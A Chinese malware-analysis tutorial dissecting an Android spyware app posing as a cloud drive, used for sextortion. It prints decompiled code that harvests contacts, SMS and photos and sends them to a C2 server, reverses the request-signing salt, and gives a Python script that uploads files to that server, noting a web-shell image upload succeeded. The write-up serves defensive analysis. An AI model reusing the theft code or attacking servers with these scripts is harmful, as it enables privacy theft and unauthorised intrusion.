一款伪装成云盘的恶意APP逆向分析
字数 2707
更新时间 2026-07-12 14:05:55
伪装云盘恶意APP逆向分析教学文档
一、背景概述
近期出现一类伪装成“云盘”的恶意APP,利用色情内容诱导用户安装。受害者安装后,攻击者录制不雅视频,窃取手机通讯录、短信、照片等敏感信息,随后实施勒索敲诈。
二、沙箱分析
2.1 样本哈希值
| 算法 | 值 |
|---|---|
| MD5 | c478a853c877944e2bd13818d05d00f8 |
| SHA-1 | 1342fa2f3cd875dbfc1b7e7b758857a92309f2c1 |
| SHA-256 | f64b17b9e0227b216ad363c698b8ec30083d76fec27e308e553cc0ec911c4601 |
2.2 检测结果
- 上传至VirusTotal平台检测,已被标记为木马、间谍程序
- 确认该APK为恶意间谍类木马程序
三、逆向分析
3.1 基本信息
- 包名:
com.hxyvvwbtbqy.bgpbqve(随机乱码字符串,恶意软件常见伪装手法) - 加壳情况: 未加壳,可直接反编译
3.2 权限分析
AndroidManifest.xml中声明的关键权限:
READ_EXTERNAL_STORAGE → 读取照片/文件
READ_CONTACTS → 读取通讯录
READ_SMS → 读取短信内容
分析结论: 这是典型的数据收割权限组合。
3.3 应用启动流程
跳转链路
- 用户点击APP图标 → 系统启动入口
SplashActivity(闪屏页) - 闪屏页延时任务执行
MainNavigation.toLogin() - 进入
MainNavigation工具类的静态toLogin()方法 - 调用ARouter路由框架API,根据路由常量打开
LoginActivity登录页面 - 执行
SplashActivity.this.finish()销毁闪屏页,完成无感知页面切换
关键代码片段
SplashActivity.java — 启动后自动跳转至登录页
// 使用ARouter路由框架静默跳转
ARouter.getInstance()
.build(MAIN_LOGIN)
.navigation();
MainNavigation.java — 路由跳转工具类
public class MainNavigation {
public static void toLogin() {
// ARouter路由跳转至LoginActivity
}
}
3.4 敏感信息窃取机制
(1)窃取通讯录
// 通过ContentResolver访问系统通讯录数据库
ContentResolver cr = getContentResolver();
Cursor cursor = cr.query(
ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
null, null, null, null
);
while (cursor.moveToNext()) {
String name = cursor.getString(cursor.getColumnIndex(
ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME));
String phone = cursor.getString(cursor.getColumnIndex(
ContactsContract.CommonDataKinds.Phone.NUMBER));
// 封装为实体对象存入集合
}
// 读取完成后立即执行上传操作
技术要点:
- 遍历读取所有联系人姓名、手机号码
- 封装为实体对象存入集合
- 读取完成后立即执行上传操作
(2)窃取短信
// 定向查询系统短信数据库
Uri uri = Uri.parse("content://sms/inbox");
Cursor cursor = getContentResolver().query(
uri, null, null, null, null
);
while (cursor.moveToNext()) {
String address = cursor.getString(cursor.getColumnIndex("address"));
String body = cursor.getString(cursor.getColumnIndex("body"));
String date = cursor.getString(cursor.getColumnIndex("date"));
// 提取短信发送方号码、短信正文、发送时间
}
// 调用上传接口回传数据
技术要点:
- 筛选接收类短信(收件箱)
- 提取发送方号码、短信正文、发送时间等字段
- 完成数据封装后调用上传接口回传
(3)窃取照片
// 遍历手机媒体库相册目录
String[] projection = {MediaStore.Images.Media.DATA};
Cursor cursor = getContentResolver().query(
MediaStore.Images.Media.EXTERNAL_CONTENT_URI,
projection, null, null, null
);
int count = 0;
while (cursor.moveToNext() && count < 50) {
String path = cursor.getString(cursor.getColumnIndex(
MediaStore.Images.Media.DATA));
// 提取图片本地路径
// 逐张获取图片路径后调用文件上传接口
count++;
}
// 限制单次最多读取50张图片
技术要点:
- 遍历手机媒体库相册目录
- 提取图片本地路径
- 限制单次最多读取50张图片
- 逐张获取图片路径后调用文件上传接口
3.5 数据回传机制
回传接口定义
public class Urls {
public static String register = "http://47.xx.xx.82:16902/api/register";
public static String upLoadImg = "http://47.xx.xx.82:16902/api/uploadImgs";
public static String upLoadList = "http://47.xx.xx.82:16902/api/subList";
public static String upLoadSms = "http://47.xx.xx.82:16902/api/subSmsList";
}
IP地址: 47.xx.xx.82:16902 为C2服务器地址
各数据上传方式
| 数据类型 | 上传方法 | 接口URL |
|---|---|---|
| 通讯录 | RxHttp.postJson(Urls.upLoadList, ...) | /api/subList |
| 短信 | RxHttp.postJson(Urls.upLoadSms, ...) | /api/subSmsList |
| 照片 | RxHttp.postForm(Urls.upLoadImg, ...) | /api/uploadImgs |
完整数据窃取流程
READ_CONTACTS → getContacts() → 读取全部通讯录并上传
READ_SMS → getContactsSms() → 读取全部短信并上传
READ_EXTERNAL_STORAGE → getPhoto() → 读取照片并上传
INTERNET → RxHttp.postJson() → 发送窃取数据到C2
四、回传接口深度分析
4.1 服务端信息探测
访问上传接口 http://47.xx.xx.82:16902/api/uploadImgs,返回信息:
Php Version: 8.0.26
Laravel Version: 9.52.9
4.2 上传函数参数分析
public void uploadImg(String str) {
final long currentTimeMillis = System.currentTimeMillis();
RxHttp.postForm(Urls.upLoadImg, new Object[0])
.add("phone", ((ActivityLoginBinding) this.dataBind).nameEdit.getText().toString())
.add("userId", this.userId)
.add("sjc", Long.valueOf(currentTimeMillis))
.add("ttttt", Md5(currentTimeMillis))
.addFile("file", str)
.asString()
.subscribe(...);
}
参数说明:
| 参数 | 来源 | 说明 |
|---|---|---|
| phone | 用户输入框 | 任意手机号字符串 |
| userId | 注册接口返回 | 需要先调注册接口获取 |
| sjc | System.currentTimeMillis() | 当前时间戳(毫秒) |
| ttttt | Md5(currentTimeMillis) | 时间戳的MD5签名 |
| file | 图片路径 | 图片文件本身 |
可控参数: phone、sjc、file
需逆向参数: ttttt、Content-Type、userId
4.3 逆向ttttt签名算法
public String Md5(long j) {
// 输入: 时间戳 j(long型毫秒数)
String str = j + "**we5r23@34E23EW423Rer@32E42Fklklklk@";
// ↑时间戳 ↑硬编码盐值(salt)
String str2 = "";
try {
MessageDigest messageDigest = MessageDigest.getInstance("MD5");
messageDigest.update(str.getBytes());
str2 = bytesToHex(messageDigest.digest());
return str2;
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
return str2;
}
}
private static String bytesToHex(byte[] bArr) {
StringBuilder sb = new StringBuilder();
for (byte b : bArr) {
sb.append(String.format("%02x", Integer.valueOf(b & UByte.MAX_VALUE)));
// ↑& 0xFF 确保无符号 ↑小写十六进制
}
return sb.toString();
}
ttttt生成逻辑:
- 输入: 时间戳
j(long型毫秒数,如1718234567890) - 步骤1: 拼接盐值 →
j + "**we5r23@34E23EW423Rer@32E42Fklklklk@" - 步骤2: 对拼接后的字符串做MD5摘要
- 步骤3: 将摘要字节数组转为小写十六进制字符串
- 输出: ttttt的值
Python实现:
import hashlib
def calc_ttttt(timestamp_ms):
"""计算ttttt签名"""
raw_str = f"{timestamp_ms}**we5r23@34E23EW423Rer@32E42Fklklklk@"
md5_hash = hashlib.md5(raw_str.encode()).hexdigest()
return md5_hash
4.4 逆向Content-Type
RxHttp.postForm(Urls.upLoadImg, new Object[0])
postForm表示HTTP方法为POST.addFile("file", str)上传文件时,RxHttp自动将Content-Type从application/x-www-form-urlencoded切换为multipart/form-data
最终请求格式:
POST /api/uploadImgs HTTP/1.1
Content-Type: multipart/form-data; boundary=----xxxx
4.5 逆向userId获取流程
注册接口请求
RxHttp.postForm(Urls.register, new Object[0])
.addHeader("Content-Type", "application/x-www-form-urlencoded")
.addHeader("Accept", "application/json")
.add("phone", nameEdit.getText().toString()) // 手机号
.add("code", pwdEdit.getText().toString()) // 验证码/密码
.add("sjc", Long.valueOf(currentTimeMillis)) // 时间戳
.add("ttttt", Md5(currentTimeMillis)) // MD5签名
.add("data", Build.BRAND + "-" + Build.MODEL) // 手机品牌-型号
.asString()
.subscribe(...)
注册返回值结构
public class LoginBean implements Serializable {
private int code;
private String msg;
private String userId; // 这就是需要的userId
}
注册后自动触发窃取
LoginBean loginBean = (LoginBean) new Gson().fromJson(str, LoginBean.class);
this.userId = loginBean.getUserId(); // 取出userId
// 注册成功后立即触发数据窃取
getContactsSms(); // 开始窃取短信
getContacts(); // 窃取通讯录
getPhoto(); // 窃取照片
五、完整攻击复现脚本
5.1 Python脚本实现
import hashlib
import time
import requests
# 配置
SERVER = "http://47.xx.xx.82:16902"
PROXIES = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"} # Burp代理
def calc_ttttt(timestamp_ms):
"""计算ttttt签名"""
raw_str = f"{timestamp_ms}**we5r23@34E23EW423Rer@32E42Fklklklk@"
md5_hash = hashlib.md5(raw_str.encode()).hexdigest()
return md5_hash
def register(phone, code):
"""第一步:注册获取userId"""
timestamp_ms = int(time.time() * 1000)
resp = requests.post(
f"{SERVER}/api/register",
headers={
"Content-Type": "application/x-www-form-urlencoded",
"Accept": "application/json",
},
data={
"phone": phone,
"code": code,
"sjc": str(timestamp_ms),
"ttttt": calc_ttttt(timestamp_ms),
"data": "Pixel-6",
},
proxies=PROXIES,
timeout=10,
)
print(f"注册状态码: {resp.status_code}")
print(f"注册响应体: {resp.text}")
result = resp.json()
user_id = result.get("userId", "")
print(f"[注册] userId: {user_id}")
return user_id
def upload_image(phone, user_id, image_path):
"""第二步:上传图片"""
timestamp_ms = int(time.time() * 1000)
with open(image_path, "rb") as f:
resp = requests.post(
f"{SERVER}/api/uploadImgs",
data={
"phone": phone,
"userId": user_id,
"sjc": str(timestamp_ms),
"ttttt": calc_ttttt(timestamp_ms),
},
files={
"file": (image_path, f, "image/jpeg"),
},
proxies=PROXIES,
timeout=30,
)
print(f"上传图片状态码: {resp.status_code}")
print(f"上传图片响应: {resp.text}")
return resp
if __name__ == "__main__":
phone = "13800138000"
code = "123456"
# 注册,获取userId
user_id = register(phone, code)
if user_id:
# 上传图片
upload_image(phone, user_id, "test_photo.jpg")
5.2 注意事项
- 使用Burpsuite作为代理进行流量拦截和分析
- 上传图片马可以成功,但无法获取文件在服务器的真实存储路径
- 最终应将所有证据提交有关部门举报
六、技术特征总结
6.1 恶意行为特征
| 阶段 | 行为描述 |
|---|---|
| 伪装诱导 | 假借云盘名义传播,结合色情内容诱导用户下载安装 |
| 权限滥用 | 批量申请通讯录、短信、相册等高危隐私权限 |
| 静默窃取 | 用户登录后自动窃取通讯录、短信、照片 |
| 数据外传 | 通过明文HTTP接口回传至攻击者服务器 |
| 勒索敲诈 | 利用窃取的不雅视频和通讯录实施短信恐吓、群发威胁 |
6.2 技术共性特征
此类黑产恶意APP普遍存在以下特征:
- 服务器地址硬编码:C2服务器IP直接写在Java代码中
- 通信加密薄弱:仅依靠简单MD5签名做基础校验
- 无安全证书校验:使用HTTP明文传输,未启用HTTPS
- 包名随机化:使用随机字符串作为包名,规避安全软件检测
- 开发门槛低:技术实现简单,易于批量制作传播
6.3 防御建议
- 不从非官方渠道下载APP
- 谨慎授予敏感权限(通讯录、短信、存储)
- 警惕以色情内容为诱饵的应用推广
- 安装正规安全软件进行防护
- 如遇勒索敲诈,保存证据并向公安机关报案
相似文章
相似文章